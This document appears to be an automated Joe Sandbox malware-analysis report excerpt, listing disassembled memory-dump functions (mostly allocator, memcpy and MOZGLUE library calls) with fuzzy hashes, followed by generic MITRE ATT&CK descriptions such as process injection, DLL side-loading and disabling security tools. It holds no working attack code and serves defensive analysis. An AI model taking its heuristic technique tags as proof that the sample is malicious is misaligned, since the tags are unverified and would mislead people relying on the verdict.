?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9A8725

Strings

map/set<T> too long, xrefs: 6C9A8720

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction ID: 78abb823d426034734ac82ea2d71a2a9e40651a0948d6a7529e1d0d1c1036994
Opcode Fuzzy Hash: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction Fuzzy Hash: 3F518774A00685CFE709CF58C084B65BBF1BF59318F19C19AD8595BB62C334E846CF96

Function 6C95BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C95BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95BE8F

Strings

0, xrefs: 6C95BE5B

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction ID: 224e669c214a6a55e36c1d0313d10456ede9b70068a574a7b6ec19c97907299e
Opcode Fuzzy Hash: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction Fuzzy Hash: 1A41A271A09749CFC701CF38C481A9BB7F4AF9A348F448A1DF985A7611D731E969CB82

Function 6C993CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993D19
mozalloc_abort.MOZGLUE(?), ref: 6C993D6C

Strings

d, xrefs: 6C993D58

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction ID: ae06156d6bacca7e9dd5d9bb8c3e17f4f1e599da0bbb2d82f8cd29c6ab0d3005
Opcode Fuzzy Hash: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction Fuzzy Hash: BD11C836E08688D7DB009F69CC244EDB779FF96218B499219DC49A7621EB30E6C4C350

Function 6C964730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

Strings

GetNtLoaderAPI, xrefs: 6C964744

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction ID: f1cda16d695908bbd307540fdb4711dc50a4806afec0f63a8687042f72b68fbf
Opcode Fuzzy Hash: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction Fuzzy Hash: E7019275708754CFDF00AFA68854619BBB9EF8B761B154469EA06D7740CB70E801CFA2

Function 6C9B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9B6E22
__Init_thread_footer.LIBCMT ref: 6C9B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9B6E1D

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction ID: 4eec0349a851278febdca1097a833dac929feb13fc97b1122e099e3fb31f5552
Opcode Fuzzy Hash: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction Fuzzy Hash: 2BF0503120994CDBDB008BA8C852A9273F1935361CF5C0155F80477F91C731F65ACB53

Function 6C969E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C969EEF

Strings

Infinity, xrefs: 6C969EB7
NaN, xrefs: 6C969EC1

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction ID: a68406bf20254f7c53f4006fc1909cdaea423b497af1176b9eea011b9f2a109e
Opcode Fuzzy Hash: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction Fuzzy Hash: 0AF04971609E41CBEB00CF98D847B9473B1A75771DF354A59C5082BB80D775F6CACA82

Function 6C96BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C96BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C96BEF5

Strings

cryptbase.dll, xrefs: 6C96BEF0

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction ID: 9c1673ca6a609f562cc4062b7d4c9acec0c25ea6c164f6b512cc7d3c994cb781
Opcode Fuzzy Hash: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction Fuzzy Hash: 89D023311C4508F7D7016B518C09F1937789702715F20C020F30564C91D7B0F450DFE4

Function 6C9550E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C95510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C955167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C955196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C), ref: 6C955234

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: edee7e2876aee732ff45a78ac653b5fdb823a2baad613fbc1bdc7a711393f647
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: B691CE35501646CFCB14CF09C490A5ABBA6FF99318B28858CDC589BB16D331FD92CBE1

Function 6C9908F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990918
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9909A6
EnterCriticalSection.KERNEL32(6C9DE7DC,?,00000000), ref: 6C9909F3
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990ACB

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction ID: d3befe7a4f976c521bfad4eace1527be6ce43af4b2af64afd759f938475818cc
Opcode Fuzzy Hash: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction Fuzzy Hash: 90512C36B06E50CBEB049A15C414665B3B9EB8AF2473D853ADD75A7F80D731FC8186C1

Function 6C9AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB628

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9AB127,?,?,?,?,?,?,?,?), ref: 6C9AB74D

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction ID: c65967e1f85ce746cd827f6644134cdf9e4f9b300e1e802e70dec5fa333f7cc0
Opcode Fuzzy Hash: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction Fuzzy Hash: 8651ED71A0521ACBDB14CF98C98076EBBB5FF44704F15852DC85AABB10D771E806CBA1

Function 6C9ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C99FF2A), ref: 6C9ADFFD

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C99FF2A), ref: 6C9AE0FE

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction ID: f2ae2ce04c91387e652841b62fccb90e4afd234def3e245de11b8f595b4916ab
Opcode Fuzzy Hash: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction Fuzzy Hash: 8741C471608226CFEB14CFA9C89036A73B5BB45308F14453DD516EB740E731E966CB92

Function 6C9A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A6F5C

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction ID: 27068665d7e028ac19d70f7693af422e3f232266c6bb996cdf046fac444b5bb7
Opcode Fuzzy Hash: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction Fuzzy Hash: 9531F671A1060A8FDB04CF6CC9806AA73E9EB94304F60423DD41AD7651EF31E66AC7A1

Function 6C9BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C960A4D), ref: 6C9BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C960A4D), ref: 6C9BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C960A4D), ref: 6C9BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C960A4D), ref: 6C9BB67F

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction ID: 1e6818b70d90afa943eacdccacf6a42aefc3ddc81936bb5cfd5fe10332e2ae08
Opcode Fuzzy Hash: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction Fuzzy Hash: 6E31E371A00217DFDB10CF58C88466BBBB9EF84324F168629C84AFB241DB31ED15CBA1

Function 6C98F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F668

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: e7f27f9f32ace74b3a6bba9ab02ad8230c30b8ed2a5ba9c71f665feb71d6b9ea
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 5B315E71B00214AFCB14CF19DCC0AAA7BB9EB94358B148938EA498BF04D631E9448B91

Function 6C9A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26C1
free.MOZGLUE(?), ref: 6C9A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26FF
free.MOZGLUE ref: 6C9A270D

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction ID: 808196dbb8c7bf08ebfe75096d6c216f8bfecdf6c4da0336bc457311e1ce8cce
Opcode Fuzzy Hash: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction Fuzzy Hash: 44F02DB27026016BEB109E59D88495B73ADFF5131CB200035EA1ED3B11E331F95AC6A2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

